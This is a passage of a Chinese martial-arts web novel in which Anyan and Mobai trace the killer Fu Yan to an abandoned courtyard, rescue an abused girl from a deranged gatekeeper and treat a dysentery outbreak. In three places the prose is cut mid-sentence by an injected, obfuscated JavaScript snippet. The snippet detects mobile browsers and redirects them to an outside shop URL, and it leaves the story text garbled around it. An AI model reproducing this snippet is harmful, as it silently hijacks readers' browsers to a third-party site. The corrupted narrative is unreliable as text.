“嗯。”他淡淡应了声,将脸上附着的面具慢慢撕下。 竟是墨白。 高言雀递上一套衣衫:“墨公子,那边都已妥当了?” “嗯。”墨白面无表情地接过,走入内间屏风后。 高言雀等了一等,不见墨白下令,终于按捺不住地问道:“安……大夫还在房内等着,需要属下去将她带来吗?” “一刻钟之后,再将她带来。”墨白清淡地道,“先将面具处理干净,我离开之后,你将那两个人,也一并处理了吧。” 高言雀带来的,正是关于建德县的消息。 建德县离此地不过数日路程,他自然要去,也必须让安晏一起去。 只是……他忽然有些好奇,她分明连一个人都没有杀过,如此干净纯粹的剑,该如何杀死一个恶魔呢? 8. 血腥的味道越来越浓 换好衣服,墨白又在房间等了稍许,终于听见院外传来脚步声。 很快,安晏推门走入,带进一室光尘。 “墨公子!”她看见他,快步向他走来,目色紧张,“你没事吧?” “嗯,我没事,只是一日未见,竟觉得实在好不习惯。”墨白起身,眉眼是一如既往的温和清润,“已经治好病人了吗?” 安晏的脸上微微泛起红晕,但见他仍是那个爱捉弄人的样子,倒也放下了心:“那个人告诉我,建德县是伏焱曾经生活的地方,或许会有线索。我们去看一看吧?” “好。”墨白随安晏离开屋子,有些疑惑地问,“那个人,是那个病人吗?” “嗯,但我也不知道他和伏焱的关系,他不肯说。”安晏顿了顿,向墨白仔细讲述了这两日发生的事情,最后她叹道,“虽然不知真假,可也只能去试一试了。” “我倒觉得,你毕竟治好了他的病,他没有必要故意骗你。”墨白笑着宽慰道。 “嗯。”安晏应了一声,却沉默下来。 直到二人走出这座远郊的院子,又向城门走了半里,日光撒在广袤的原野,连天碧草如粼粼流淌的清波,她忽然停住了脚。 “怎么了?”墨白于是也停住脚步,侧头问。 “你……”安晏攥着衣带,目光垂落在长睫下,“你为什么不问我?” 墨白长眉轻蹙:“我该问什么?” 安晏抿了抿唇:“你不问我,为什么要救他吗?” 墨白却反问:“医者救治病人,不是理所应当的事吗?” 安晏默了默,终于一咬牙:“你为什么不问我,我为什么要给恶人治病?我说我救了伏焱的时候也是,今次救了那个人也是,明明我救了一个人,可能会害死另一个人——我已经害死了那么多人——”嗓音已不可控地颤抖起来,“你为什么不问我,我为什么要救坏人?” 墨白转过身子,安静地看着她:“好,那我问你,你为什么要救坏人?” 他以往的话音总是温暖而携着笑意,此时话语清平,如泠泉沁入耳廓,她不由得微微一怔。半晌,她低声道:“师父原先说过,身为医者,该当治病救人;身怀武艺,该当行善除恶;身居高位,该当心系苍生。” “令师说得很对,你也一直是如此做的。”墨白温声,“你是医者,所以你会救伏焱,救这次的病人,也会救我,救黄圩村的百姓。你身怀武艺,所以你要去杀伏焱,如果那个人或者我行凶为恶,你也会杀了他,杀了我。” 他声线温和,却依旧清淡寂静。她心头像被什么一撞,却没有出声。 “不要多想了。”头顶忽传来温柔的摩挲,“你做得没有错。” “可是,”她讷讷,“我没有杀过人。” “别担心。”墨白轻声笑了,仿佛日色融融,那些许清冷便此消散无踪。可他的眸子却愈加幽暗和深冷,像是两丛无底深渊,“我会一直在你身边。” ———————————— 建德县郊外,方圆数里,荒草蔓生,举目望去没有一户人家——那座形貌巍峨的宅子,实在越看越显得突兀。 安晏和墨白走到院子门前,门上悬着一块牌匾,上书“明思院”三字,漆色早已脱落,门环拴着铁链,也已生满锈迹。透过门缝望去,院内杂草满地,却无一人身影——这座宅子,大概已经废弃十数年了。 安晏和墨白不由得面面相觑,安晏道:“我们应该找个人问一问,可是这附近,有村子吗?” 墨白笑着道:“来时路上,我见到远处有几间村居,我们去那里吧。” 走出十里,终于见到一户农家,一位妇人正汲水浣衣。安晏走上前,向那妇人行了一礼:“大娘,打扰您了。您知道——十里外那座大宅子的事吗?” 妇人抬起手,抹了抹脸:“我不清楚,你想知道那宅子的事,往西走半里路,问一问黄老头!” 安晏忙谢过妇人,见她汲水吃力,又帮忙打了两桶水,这才告辞离去。走到半里外的村落,夕阳已经西斜,村舍间炊烟袅袅,饭菜香气飘出,安晏下意识地咽了咽口水。 墨白在一旁直笑:“我们先吃过饭,再打听那宅院的事吧?” “我才没饿!”安晏嘴硬道,不理会身后轻笑的墨白,大步向一户人家走去。 经村民指路,安晏和墨白在四谷村边缘找到了妇人口中的黄老头。 他佝偻着背,满头白发如银,但实际不过四十余岁的年纪。他似乎无妻无子,又似乎不大合群,村庄内早已饭菜飘香,他却仍在村边小院里弓着腰一下一下地劈柴。 安晏心中不忍,上前接过黄老头手里的斧子。 “你们是……”黄老头愣怔道。 “我们有些事情想请教您,但在此之前,我先帮您砍好柴吧。”安晏笑着道。 黄老头怀疑地打量着她,见到她腰侧佩剑,似有些害怕地后退了一步:“你们……有什么事?” “只是一些旧事,我们没有恶意。”安晏连忙道,“您可以先回屋休息片刻,我很快就将这些木柴都劈好。” 黄老头看了看安晏,又看了看一旁的墨白,似乎终于觉得他们不像坏人,点了一下头:“那就,多谢姑娘了。既然如此,我去准备晚饭吧。” 说罢,转身蹒跚着向厨房走去。 安晏也舒了口气,这才举起斧头,然而砍了几下,又嫌斧头粗钝,干脆扔在一旁,抽出了采萧剑。 墨白失笑着拾起那斧头:“如此好剑,用来砍柴,是不是有些暴殄天物了?” 安晏不以为然道:“这叫物尽其用,许姨姨和唐姨姨也常用刀剑砍柴,好像是叫……凌章剑和执雁刀,看着也是极好的刀剑。墨公子,你原先听说过吗?” 墨白轻轻摇头,双瞳浓如泼墨:“我并非江湖人,怎会知晓刀剑的事。” 安晏一怔,忙打了个哈哈:“抱歉,你和我一起行走江湖,我竟忘了你并非江湖人。” 墨白弯了眉眼:“也许以后,我和你一起,就算是江湖人了。” 安晏心跳一顿,夕阳染上脸颊:“你,要不你去帮黄老伯做饭吧。我很快砍完木柴,拿去厨房,然后再把斧子磨快一些。” “好。”墨白这次没再纠缠,见好就收地笑着道,“辛苦你了。” ———————————— 农家粮食简陋——几碗粟米粥,一把拌野菜——但许是饿了整日,安晏竟觉得粗茶淡饭也分外可口。黄老头却似乎有些局促,半天没动筷子:“你们,究竟想问我什么?” 安晏放下木碗,诚恳地开口:“黄老伯,您知道,十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956545|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里外那座废弃宅院——明思院的事情吗?” 黄老头身子一抖。 “你们……为什么想知道那里的事?” 黄老头没有否认,看来,他的确是知情者。安晏一瞬不瞬地注视着黄老头,缓慢地道:“我们在追查一个人,他原先,就住在明思院里。” 黄老头沉默着。 油灯昏暗,他垂着头,安晏看不清他的神色。他似乎有些害怕,扶着碗筷的双手微微发颤。安晏没有催促,等了很久,黄老头终于喑哑地开口道:“我……曾经是明思院的看门人。” 安晏和墨白放下了筷子,屋内刹那寂静,落针可闻。 黄老头许久才续道:“我……不知道老爷们究竟要做什么,我只是一个看门人。我只知道……对着外面,那地方是一间善堂,收养着许多没有父母的孤儿……但,事实却不是这样……” 安晏眸光深凝:“您在那里,看见了什么?” 黄老头咽了咽口水,似乎要鼓起毕生勇气,才能够翻开那一段不忍卒读的往事:“我能见到什么呢,我连一个孩子都没有见过……说到底,我只是看守着一个侧门,甚至不被允许走进院子里……但是声音,却从院子深处传了出来……刀剑的声音,哭叫的声音…… “我向人打听过……他们却只说,那是在教孩子们学武功,孩子们怕苦贪玩,有时免不了教训一顿。是啊,老爷们腰间都佩着刀,佩着剑,江湖人的事情,我不懂…… “可是……那一天的声音,根本不是练习和受罚那么简单…… “根本不是……那血腥的味道飘得漫天都是……” 身子在抖,双手在抖,话音在抖,安晏终究不忍,伸出手,握紧了黄老头的手。 “您不要怕,都是过去的事了。”她柔声安慰,直到手中的颤抖渐渐平静,才又轻声道,“后来呢?后来,发生了什么?有人从院子里跑了出来吗?” “后来?”黄老头抬起目光,看了看安晏,又黯默地垂下了,“我不知道……我只听着叫喊声和刀剑声越来越响,又……越来越微弱……血腥的味道越来越浓……我实在害怕,就……逃走了……” 安晏呼了口气,向墨白看去。 二人面上均有几分无奈,又有几分了然——不论何种原因,明思院内必然发生了一场争乱,自相残杀,鲜血成河,甚至可能,除去眼前这畏惧逃离的黄老头,只有伏焱一人活了下来。 黄老头毕竟只是看门人,无法告诉他们更多真相,但这样已经足够了。 几人沉默地将剩下的饭菜吃完,安晏和墨白帮忙收拾了碗筷,她随后向黄老头告辞:“黄老伯,多谢您。我们打算再回去那宅院里查探,就不打扰您休息了。” 墨白亦行礼道:“多谢您的招待,我们二人打扰了。” 黄老头怔怔然抬目,似乎那久远的记忆仍纠缠着他,令他无法抽离。安晏也不再勉强,又道了声辞,便和墨白向外走去。 跨出门槛的瞬间,安晏倏忽顿住了脚。 “黄老伯,”她回身,疑惑地道,“我方才,听见地板下方,似乎有些响动?” “姑娘应该,听错了吧。”黄老头说。 “是吗?我也听见了。”墨白微微勾起嘴角,“您一人居住,不大安全,不如让我们帮您检查一下房屋?” 9. 将所有人,烧成灰烬 黄老头扫视墨白一眼,突然冷硬了几分:“公子也听错了。” 话音才落,地板下方忽又传来一声响,既轻且促,但在这空阒的夏夜里,却分外清晰响亮。 空气中一阵沉默,黄老头却道:“大概是一只老鼠,我在这里住了很多年,房子破旧了,但没什么不安全的。” 如此,安晏也不再说,顺从地一拱手:“既然您说无碍,我们就告辞了。” 安晏和墨白离开了小院。 夏风微热,圆月有如玉盘,映亮了广袤的原野。二人走出约有一里,安晏终于停下脚步,向墨白看去,目光凝重像是垂了铅幕:“墨公子,你也听见了吧?那不是老鼠吧?” “当然不是。”墨白却语气如常,微微笑着,不似她这般紧张,“现在,你有什么打算?” 安晏眉头紧蹙:“我想再回去看一眼——我一定要再回去看一眼。但现在时辰尚早,我想再等一等,等黄老伯睡了,村子里的人也都睡了,我再悄悄去探查地板下的动静。” “好。”墨白笑如晚风,“我不给你添麻烦,我在院子外面等你。” ———————————— 月亮攀上天中,万里晴空无云,这不是一个暗中探查的好时机。 但安晏却等不及了,她也不敢等。凡是和伏焱有所关联的事,她都不敢怠慢。 屋子里一片漆黑,黄老头大概已入睡了,安晏蹑手蹑脚地摸到门边,脚下突然一顿。 她听见了——不是离开时的轻响,而是——笞打和惨叫声。 从地面之下传来。 安晏猛地推开门,陈腐的木质地板下方隐隐透出光亮,哀呼声不绝,听来是一个十岁左右的女孩。刺耳的叫喊仿佛一只巨手钳住了心脏,安晏不再迟疑,右手蓄力,便一掌重重拍下! 她用了十成内力,木板瞬时在掌风中碎成齑粉,露出一人宽的空洞。声音停住了,下方一间暗室,灯烛昏昧如冥,安晏握紧剑柄,纵身跳了进去。 暗室狭小,不足一丈见方,幽亮的烛光晃动不止,映出石梯边上的黄老头——和被他扼住脖颈,犹自挣扎不已的女孩。 “果然。”安晏抽出采萧剑,目色冷得像冰,“你放开她。” 女孩身上伤痕累累,长发乱如蓬草,满脸泥土尘灰,唯一双眸子还残留着几分清亮。看见安晏,她自喉间发出低低的哀鸣,泪水从乌黑的眼眶中滚落。 “她是我的女儿,你不要多管闲事。”黄老头恶声道,手下加重力度,那女孩顿时脸色通红,双手拼命抓着喉咙处的桎梏。 “给老子安分一点!”黄老头不耐,另一手狠狠扇了女孩一个巴掌。白日里他分明是一个蹒跚羸弱的老人,此刻却好似被恶魔附了身,而变得力大无穷。 “住手!”安晏心头一颤,可女孩在对方手里,她不敢轻举妄动,“你……她既是你的女儿,你为何要伤害她?” “胡说!我没有伤害她!”黄老头却怒喊道,“我是为了她好,我只是在训练她,教导她,我都是为了她——她为什么没有成为那个人呢?”忽而神色一滞,目光竟随即恍惚,“她为什么……没有成为那个人呢?” 安晏不明所以,也不敢激怒黄老头,只得小心翼翼地顺着他的话:“你……想让她成为谁?” “谁?除了他,还有谁?只有他,只有他才是最接近神明的人……”黄老头抬起头,死死盯着安晏,却又不是在看她,半明半暗的烛火好似透过他的瞳孔,烧进了久远的时光,“我一直记得那一天,我一直记得……是,我骗了你们,我没有逃走,而是走进了明思院,我看见了他。” “你看见了谁?”安晏不由得心惊肉跳,“你看见了伏焱,是吗?” “伏焱?”黄老头微一愣怔,旋即恍然,“他现在叫做伏焱吗?原来如此,不过,算了,这不重要……他始终和我们不一样……” “你方才说,他像是神明,他做了什么?”安晏眸光深凝。 “对……对,他是神明,他……是制裁者。”黄老头低声喃喃,仿佛神志已不再清醒,就此陷进了杳渺的回忆,“到处都是血,他的衣服也沾满了血,可他却根本不在意,没有任何表情,看着死去的人,看着我……” ———————————— 三年之前。 院内木叶吐翠,桃花正盛,小巧玲珑的花瓣随风摇曳,娇红鲜艳,像染了——血。 那确然是血。 残落的花叶混着泥土和血腥,散发着令人晕眩的气味。庭院寂静,宛如幽冥,四面汇聚的冥河正中,立着一个形如虚幻的影。 黄老头以为自己撞见了鬼影。 若不是鬼影,他怎会如此平静?这里少说也死了几十人,若不是鬼影,他怎会独独活着? 然而那鬼影却察觉到了,转过头,冷淡地向他望来。 黄老头□□不争气地湿了,温热的液体让他冷得不住发抖。他想逃,可是双脚却陷入了血泥流成的沼泽,他一步也动不了。 他看见那个鬼影勾起嘴角,向他走了两步。 “你看见了什么?” 黄老头听见那鬼影发问。 可他说不出话,发不出声,他不知道自己是在摇头或者只是发抖,视线却无法从那鬼影身上移开一寸。 那鬼影笑了,清透淡漠的声线叫黄老头一怔:“你看见了吗,这座深宅中,到处都烧着火。火势实在太盛,我根本什么都不用做,只需要向其中投入一块浸了油的布——” 他抬起手,微微仰起头,做了一个松手的动作。 “就足够将所有人,烧成灰烬了。” 他看着空空如也的手,又看向一地零落的血腥,那神情仿佛不是在注视丑陋可怖的尸体,而是在欣赏某种稀少而珍贵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956546|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺术品。 黄老头突然平静了。 他突然不觉得怕了,方才可笑的恐惧,尽数变成了憧憬。那个人——男人,或是少年——不是什么鬼影,他如此俊秀清朗,他如此平静疏离,他分明是佛,是神,是天地间所有凡俗之人,永远无法触及和理解的存在。 黄老头突然意识到自己的不敬,慌忙弯了膝盖,跪伏在污浊的尘泥中。 “嗯?”那个人——伏焱回过神,踱到黄老头身前,低头看着他,半晌,好似突然觉得无趣了。 “这才是江湖。”他的声音愈发冰冷彻骨,“你们太天真,太愚蠢了。我们所有人,不会有一个能够成为救世主,只会诞生出无数的恶魔罢了。” 黄老头的鼻尖贴着潮湿的泥土,他不知道神在说什么,他也不敢回答。 这却是他听到的最后一句神谕,那双靴子不再停留,绕过他,渐渐地消失了。 ———————————— “之后三年,我不知道他去了什么地方……”黄老头低声,脸上竟浮起类似悲切的神情,“后来,又有江湖人去了明思院,尸体和血迹都被清理干净,好像一切,都是我的幻觉。然后院子就封了,我进不去,再没有人来过……他也再没有回来过……” “我只想再见到他……可是他,当然不会再回来了。我被抛弃了,我被神明抛弃了……他们都被抛弃了……谁也没有……都被抛弃了……”黄老头颠三倒四地絮叨着,忽然看见手中的女孩,怔了怔,又一下子发起狠,“为什么你不是他!为什么你不能成为他!为什么你不能成为他!”说着,抓住她的头,一下一下地往墙壁上撞去。 “停下!你快停下!”安晏惊恐大叫,握剑的手剧烈地颤抖,“他不是神,他只是杀人魔罢了!再这样下去,你会害死你的女儿!你的女儿是无辜的!” “无辜?不是,不是的,你也不懂。”黄老头桀桀地笑了一声,随即又沉浸到疯狂的思绪中去了,“……那个眼神,我和蚂蚁根本没有区别……神明不会怜悯我们,他放弃了我们……我要再找到新的神!我要创造一个能救我的神……” “她是你的女儿!她不会变成神!” “这样不行,不行……是不是还要更多的人,是不是还要更多的血……” “你疯了吗!住手!” “还要多少,要多久,要多少,要多久……” 黄老头摸索着抽出一把小刀,神情已近癫狂。烛焰混沌的影子像是索命的符,安晏的额头渗出冷汗,七零八落的意识在头脑中乱窜——不能再犹豫下去,但女孩还在他手上,她该如何做,她的剑应该足够快吧,黄老头已经听不进她的话了,她只有先打掉那把刀,可为什么双手抖个不停—— 楼梯上突然闪过一道影子。 “哐”的一声钝响,黄老头身子猛地僵住,而后双眼一翻,栽倒在石梯上。 10. 你也觉得我没用吗 安晏抬起头,便看见了墨白关切焦急的眼。 “幸好赶上了。”墨白见到她,劫后余生般松了口气,将手中一根粗木棍扔在地上。 “墨,墨公子……”安晏望着他,一瞬间话音染了哽咽,“你怎么来了……” “怎么了?”墨白连忙走下石梯,站在安晏面前,仔细端详了她半晌,“你没有受伤吧?怎么竟一副要哭的样子?” “没,我没事……” 烛火幽幽,晃人心神,安晏忙不迭低了头,忽听石梯方向传来一声呻吟。 “糟了!”安晏一顿,连忙收剑还鞘,跑到石梯旁,搬开黄老头的身体。被他压在身下的女孩终于得以喘息,安晏掏出随身的药瓶和布带,准备先简单处理一下她身上的伤口,明日再到县城中仔细检查。 女孩安安静静地任安晏上药包扎,墨白安安静静地看着她们。 未几,他突然道:“你打算带她走吗?” “嗯,如果她留在这里,一定还会被责打,我想带她离开。”安晏又转头,柔声问那个女孩,“你愿意跟我们走吗?我会帮你找一处安全的地方。” 女孩没有说话,重重点了点头。 墨白却静了静,又问:“黄老头,你打算如何处置?”他知道,她不会杀死黄老头。 安晏想了半刻:“他……罪不至死。我会给他服下一味药,此后,于生活无碍,但他不会有力气再继续伤人了。” 这是意料之中的回答,墨白没有再说什么。安晏既是神医弟子,有些功效特别的药丸,也没什么值得惊讶。待安晏处理好女孩伤口,他帮着安晏将黄老头和女孩带到地面上,又看着安晏喂黄老头吞下药,毁了暗室——而后,安晏搀扶着女孩,对他道:“我们走吧,得先找地方洗一洗身子,再好好睡一觉。” “好。”墨白温和地微微颔首,安晏先一步走出门外,他跟在后头,离开时,衣袖间倏忽掠过一抹银色。 一枚细小的针,插在了黄老头眉心正中。 月色漏进破旧的木窗,银针只露出尾端一毫,泛着惨亮的青光。 “真抱歉,今晚……是我剑术不精,才会令你涉险。”走出几步,安晏忽然低低开口道。 墨白快走了两步,与安晏并排,眉眼弯弯地笑道:“这不算什么,安姑娘还是我的救命恩人呢。只是……有点可惜了。” “可惜?”安晏疑惑道。 “没什么。”墨白笑着,“安姑娘毫发无伤,就什么都值得。” 明月皎皎,如玉高悬,却半分也没有落入墨白眼中。 可惜了那么好的药,却给了一个死人。 ———————————— 安晏和墨白在城郊找了一间客栈落脚,女孩洗过身子,换上干净布衣,颇有几分清秀的模样。安晏将她的长发梳理整齐,挽了一个简单的发髻。 “我……不太会梳发髻。”女孩拿起铜镜端详,很久没说话,安晏越等越是紧张,不由得此地无银三百两地解释起来,“那个,我是江湖人嘛,不太懂这些讲究……呃,这也不怪我,这个勉勉强强的发髻,还是师父教我的……他一个男人,能懂什么?可是唐姨姨只用两只木簪束发,就,就像我一样,着实不算精巧,许姨姨又,又……” 许姨姨又不怎么教她。 她的目光微微黯了,女孩终于放下铜镜:“很好看的,我很喜欢这个发髻,我,我能叫你安姐姐吗?” 安晏一怔,忙连连点头:“当然可以了!” “我……叫谢新柳。” 安晏又一怔:“你不是……” “我不是他的亲生女儿。”谢新柳平静地解释道,“我只是他收养的一个孤儿。我的父母都死了,家乡容不下我,很小的时候,我就在外面流浪。三年前,我生了病,昏倒在村子附近,是他救了我。” “你……你今年多大了?”安晏有些不确定地问。 “我已经过了十一岁生辰。”安晏本以为谢新柳不记得生辰和年纪了,然而她却很快给出了回答。 安晏静了静:“那你,有什么想去的地方吗?” 谢新柳扭过头,直勾勾地看着安晏。安晏被她看得有些不自在,下意识地蹙起眉,却听她道:“我想和你们一起走。” “这个,不是我不想带上你。”安晏摸了摸鼻子,有些为难,“实在是,我们行走江湖,总免不了遇见危险,我一个人,恐怕无法保护你们两人周全……” 墨白也就罢了,他无论如何正值弱冠,又身为男子,多少有几分力气。可眼前只有十一岁的女孩,因常年吃不饱而身形消瘦,昼夜奔波,风餐露宿,她如何受得了? 再说,她和墨白已是朝廷要犯,总不好再让谢新柳也被官府通缉吧?万一真的遭遇官兵追捕,她一人拖着两人,只怕无论如何逃不走了。 还有伏焱,如果她再次遇见伏焱…… “安姐姐。”谢新柳突然道,打断了安晏的思绪,“你也觉得我没用吗?” 安晏怔住了。 尚显童稚的话音刺得她一阵心疼,她俯下身,轻柔地摸了摸谢新柳的脸颊:“怎么会呢,你不要多想。这样吧,反正这附近也没什么可靠的门派,在找到你喜欢的去处之前,你就和我们一起走吧——只是,可能会有些辛苦。” “嗯,我不怕辛苦。”谢新柳终于展颜笑了,“安姐姐,谢谢你。我,我也不需要编什么发髻,下回,你教我用木簪束发吧。” “好,一言为定。”安晏笑着答应道,心中绵密的疼痛,却悄然漫了开去。 ———————————— “师父……我是不是很没用啊……” “不要瞎说,你看,我都已经打不赢你了。” “可是……那为什么,许姨姨……” “哎,别哭啦,你许姨姨只是严厉了些,不是都说严师出高徒吗?她心里是很在意你的,不然,也不会把她最厉害的剑法教给你了。” “可是……” “不要可是啦,你快去练剑,我去说说你许姨姨!” ———————————— 谢新柳睡梦已酣,安晏却望着寥落的月光,发了半夜的怔。 师父待她极好,唐姨姨虽言语不多,教习她功法和暗器时,也十分小心温柔。许姨姨也教她剑法,许姨姨的剑法比她见过的所有人都厉害,可是她极少看着她,她的眼睛里……似乎蒙了厚重的布景,疏离又遥远,透不出一痕光亮。 师父说,她的姓名,是许姨姨起的。 师父说,“安晏”的意思,是希望她一生晴朗顺遂,安闲无忧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956547|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,许姨姨多少是有一些在意她的吧? 可是她……她却太过愚钝不堪,她救了杀人的恶魔,她令同伴身陷险境,她这一双颤抖着,无法握紧长剑的手——她该有什么脸面回去见她? ———————————— 明明是盛夏时节,可踏入明思院,燠热耀目的光亮便仿佛突然被筛了干净。厚重的铅色院墙足有三人高,像一座巍峨的监牢,压抑得人难以喘息。 安晏收起采萧剑,门上铁链因生锈变得脆弱,轻轻一砍便断成两截。院子里静无声息,不只没有人声,似乎飞禽走兽也不欲光顾。重重院落深处透出弥漫着死意的冷,安晏不禁回过头,看向正迈进院子的墨白和谢新柳。 “要不,你们在院外等我吧?” “不用。”墨白笑盈盈地走到她身边,谢新柳尚有些不适似的紧皱着眉,他却好像全然未受影响,“你独自深入,我如何放心?再说,我帮你一起看着,或许能发现更多线索呢。” “可是你……” “你忘了?这一路我都跟着你查案,我一向不惧鬼神之说。”墨白浅笑着截断道,“不过,安姑娘的关心,我就尽数收下了。” 安晏恼羞地瞪了墨白一眼,但想到二人调查尸体时,他确实没什么忌讳,也就不再拒绝,又担心地问谢新柳:“那要不,你……” “我也不走,我和你们在一起。”谢新柳忙斩钉截铁地说。 安晏只得作罢,叹了口气,转身向内院走去:“那就一起吧,我们小心一些。” ———————————— 看明思院里的陈设,这地方曾经住着数十个年少的孩子。 加上负责照料这些孩子的人,明思院里大约曾住了上百人。 后院是孩子们睡觉的地方,被褥无人清洗,都已生了霉斑。左右四五间院子,用来给孩子们当作课室,屋内桌椅散乱,想来在其中发生了激烈的争执。刀剑也大都生了锈,一些散乱在院落各处,一些堆放在角落的屋子里。 细细看去,廊柱上,砖瓦间,仍残留着乌黑的痕迹,若有若无的血腥气息布满了整座宅院,仿佛经年的雨水也无法冲洗干净。然而院子里泥土肥沃,一棵棵桃树枝繁叶茂,生机盎然,似乎全然不在乎这人世间的死亡和杀戮。 “看来,这明思院已有数年无人问津了。”安晏低叹,指腹摩挲着被人砍出一块豁口的廊柱。 “嗯。”墨白也轻声叹道,“那些人似乎收拾得很彻底,竟没留下一页书,一张纸。” “是啊,就连伏焱是否曾在此地居住,都无法考证。”安晏道,虽然……她不觉得江湖上有第二个人,可以平静地注视着同伴相残,又独自活了下来。 “这之后,我们去什么地方呢?”墨白问。线索再次中断,调查伏焱的身世,竟比想象中还要困难。 “西边去过,我想再去东边看一看。”安晏想了想,“或许还有村落,能有人知道关于这宅子的事。” “好,我也正有此意。”墨白微微弯起嘴角,安晏向院外走去,他放慢了脚步,跟在安晏和谢新柳身后。因多了一个人,他的行动也必须更加小心,最后离开院子时,只在门旁留下了一个不起眼的标记。 高言雀应该就在不远。 调查的事情,就交给他和暗部吧。 11. 被恶鬼啃食 三人一路东行,却只见到数个房屋残破,桌椅蒙尘的村居。 “这里怎么,像是遭遇了盗贼?”安晏不确定地问。 许多间村居的木门向内倒在屋里,似乎是被人一脚踢开,屋内橱柜倾倒,衣被散乱,地上落着残破的碗碟碎片。看灰尘积聚的厚度和木头腐烂的痕迹,这里恐怕已荒废了十数年。 “已经是很久之前的事了,多想无益,再向前走一走吧。”墨白知道她心有不忍,于是提议不做停留。 再向前走出约十里,他们终于远远看见了村人。 和一路所见不同,这座村子似乎人丁兴旺,和睦安居。其中一间院子里聚集了尤其多的村民,人头攒动密密麻麻,似乎那里头有什么价值连城的宝贝。安晏不免好奇,正好谢新柳和墨白走得累了,他们二人在树荫下休息,安晏便独自去一观究竟。 屋子门口早已水泄不通,院子里队伍排成了长龙,安晏前前后后转了两圈,忍不住问一个排队的妇人:“你们,在这里排队看病?” 那妇人闻声回头,见到安晏,打量了她半晌:“你是外乡人?” 她这一声,周围几人都向安晏望来。 “是,我偶然路过此地,看见……这里围着很多人。”村民们的目光似乎直想看穿她的骨头,安晏实在有些别扭,下意识地退了一步,“我也,我也是一个大夫。” 村民们的神色似乎有所松动,一个老伯道:“小姑娘,我们确实是来看病,最近村子里有很多人连续腹痛了几天,一天要出几次大恭,即使没什么东西,可总忍不住往茅厕跑。这些人,都是为此而来的。” 安晏蹙起了眉:“这个大夫……能治好你们吗?” “你这话什么意思!”先前那妇人斥道,“陈大夫行医那么多年,是我们坪井村唯一的大夫!我儿子的病,就是陈大夫治好的!” “是啊,自陈老大夫搬来,他们父子二人,救了村子里很多人呐!” “不过……我已经吃了七天药,却不见好转。还是要再请陈大夫仔细看看。” “我也是,不过我兄长的病已经好了,陈大夫的药方,肯定不会有错。” 众人七嘴八舌,安晏也听出了他们生的病。 正值暑天,病人多腹痛,大恭数多而量少,又群聚发作,明显是痢病。 她同几个病人道了谢,绕到屋子背后。屋后窗户半敞,因是背阴面,微风吹过,比屋前凉快不少。安晏趴在窗沿上,树影斑驳落下,她探进了半个身子,看那陈大夫为病人诊病。 第一个病人是个三十岁上下的壮年,昨日才犯此症。陈大夫问询几句,看过舌质,开了一方芍药汤。安晏撇了撇嘴,没有出声。 下一个病人是个年轻的姑娘,陈大夫依样诊过,以厚朴、苍术、半夏等,开了一副正气散。安晏想了想,似乎有些犹豫,但依然没有出声。 第三个病人也是个年轻姑娘,脸色却比上一个苍白些,病症也有数日了。陈大夫思索片刻,仍是开了同样的药方。 安晏终于忍不住了。 “等一等!” 陈大夫一怔,抬起头,侧目向窗外望去。 那陈大夫不过二十出头年纪,眉目隽秀,倒像一个世家公子。但安晏此刻没心思仔细打量,拧着眉头指正道:“久痢而虚,应当补虚温中,顾护胃气,别的不说,这副方子没有陈皮大枣怎么行?你这若有桂枝,也应当一并加上。” 陈大夫微怔:“姑娘是大夫?” “是。”安晏又道,“热痢清之,寒痢温之,初痢实则通之,久痢虚则补之。虚实夹杂,攻补兼施,兼有表证,宜合解表,寒热交错,清温并用,夹有食滞,消积除滞,调气和血,扶正固本——这些都是我师父教我的,你应该也学过吧?痢病虽然复杂,但症状明显,有据可循,倒不算极难解的病症,村子里病人虽多,但千万不可急躁。” 陈大夫静了静,起身对安晏一躬身:“叫姑娘看笑话了,在下学识浅陋,还请姑娘援手一二。” “也好,不然这些人,确实够你劳神的。”安晏撑着窗沿,一翻身进了屋子。 见安晏身怀武功,屋子里不少病人脸色一僵,陈大夫只当未觉,拱手道:“在下陈应思,多谢姑娘了。” “我叫安晏,咱们也算同僚,不用这么客气,你我相称就行了。” ———————————— 得安晏帮助,诊病速度快了许多。村民一开始对安晏颇为怀疑,但见陈应思十分信任她,便也将信将疑地拿上了药材。最后一个病人离开,夕阳快要落山,赤橙色的云霞铺满天幕,灿烂仿若锦绸。安晏伸着懒腰活动筋骨,一边感叹道:“当真许久未替人诊病了,许多药理,我也有些不熟了。等得了空,我一定要重新——” 突然一顿。 “糟了!”她旋即惊跳起来,“我怎么把他俩忘了!”也顾不得向陈应思解释,风一般地冲出了门外。 院外树荫下,却没了墨白和谢新柳的身影。 